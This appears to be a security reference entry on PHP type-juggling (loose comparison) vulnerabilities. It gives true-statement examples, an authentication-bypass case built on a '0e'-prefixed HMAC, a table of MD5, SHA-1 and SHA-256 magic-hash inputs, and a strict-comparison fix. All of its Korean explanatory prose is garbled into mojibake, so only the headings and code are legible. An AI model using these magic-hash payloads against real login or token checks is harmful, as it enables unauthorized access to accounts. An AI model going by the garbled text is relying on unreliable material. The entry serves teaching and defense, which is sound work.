Type Juggling (Loose Comparison Bug)

๐Ÿ” Introduction

Type Juggling์€ ๋ณต์ˆ˜์˜ ๋ณ€์ˆ˜๋ฅผ ๋น„๊ตํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” Loose/Strict Comparison์— ๋”ฐ๋ผ ๊ฐœ๋ฐœ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ ๊ฐ’์œผ๋กœ if ๋ฌธ ๋“ฑ์„ ํ†ต๊ณผํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ PHP๊ฐ€ ์˜ํ–ฅ์„ ๋ฐ›๋Š” ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณดํ†ต PHP type juggling ๋˜๋Š” Magic hashes attack์œผ๋กœ ๋งŽ์ด ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค.

Comparison Equal Not Equal Description
Loose == != the same value
Strict === !== the same type and the same value

๐Ÿ—ก Offensive techniques

Detect

PHP ์ฝ”๋“œ์ƒ์—์„œ == ๋˜๋Š” != ๋กœ ๋ถ„๊ธฐ๋˜๊ฑฐ๋‚˜ ๋น„๊ตํ•˜๋Š” ๊ตฌ๋ฌธ์€ ๋ชจ๋‘ ์˜ํ–ฅ์„ ๋ฐ›์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋‹จ์ˆœํžˆ ๊ฐ’๋งŒ ๋น„๊ตํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์„œ๋กœ ๋‹ค๋ฅธ ํƒ€์ž…์˜ ๊ฐ’์—์„œ true๋ฅผ ๋ฐ˜ํ™˜์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

True statements

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
'123'  == 123 #true
'123a' == 123 #true
'abc'  == 0   #true

var_dump('0010e2'   == '1e3');           # true
var_dump('0xABCdef' == ' 0xABCdef');     # true PHP 5.0 / false PHP 7.0
var_dump('0xABCdef' == '     0xABCdef'); # true PHP 5.0 / false PHP 7.0
var_dump('0x01'     == 1)                # true PHP 5.0 / false PHP 7.0
var_dump('0x1234Ab' == '1193131');

'' == 0 == false == NULL
'' == 0       # true
0  == false   # true
false == NULL # true
NULL == ''    # true

Null statements

1
2
var_dump(sha1([])); # NULL
var_dump(md5([]));  # NULL

Exploitation

Bypass auth

0e๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฐ’์˜ ๊ฒฝ์šฐ ์•„๋ž˜ Magic Hashes์™€ ๊ฐ™์ด ture๋ฅผ ๋ฐ˜ํ™˜ํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ๊ฐ’๋“ค์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์‹ค์ œ ๋ฐ์ดํ„ฐ ๊ฐ’์„ ๋ชฐ๋ผ๋„ ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

1
2
3
4
5
6
hash_hmac(admin|1424869663) -> "e716865d1953e310498068ee39922f49"
hash_hmac(admin|1424869664) -> "8c9a492d316efb5e358ceefe3829bde4"
...
hash_hmac(admin|1835970773) -> "0e174892301580325162390102935332" 
// "0e174892301580325162390102935332" == "0" 
// => True

Magic Hashes

Hash Magic Number / String Magic Hash
MD5 240610708 0e462097431906509019562988736854
MD5 QNKCDZO 0e830400451993494058024219903391
MD5 0e1137126905 0e291659922323405260514745084877
MD5 0e215962017 0e291242476940776845150308577824
MD5 129581926211651571912466741651878684928 06da5430449f8f6f23dfc1276f722738
SHA1 10932435112 0e07766915004133176347055865026311692244
SHA-224 10885164793773 0e281250946775200129471613219196999537878926740638594636
SHA-256 34250003024812 0e46289032038065916139621039085883773413820991920706299695051332
SHA-256 TyNOQHUS 0e66298694359207596086558843543959518835691168370379069085300385
1
2
3
4
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs')  == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

๐Ÿ›ก Defensive techniques

PHP์—์„œ ๊ตฌ๋ฌธ ๋น„๊ต ์‹œ Loose Comparison์ด ์•„๋‹Œ Strict Comparison์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌธ์ œ๋ฅผ ์˜ˆ๋ฐฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Weak

1
2
3
4
5
if (secret == hash_hmac(admin|1835970773)) {
  // admin page
} else {
  // 403
}

Secure

1
2
3
4
5
if (secret === hash_hmac(admin|1835970773)) {
  // admin page
} else {
  // 403
}

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0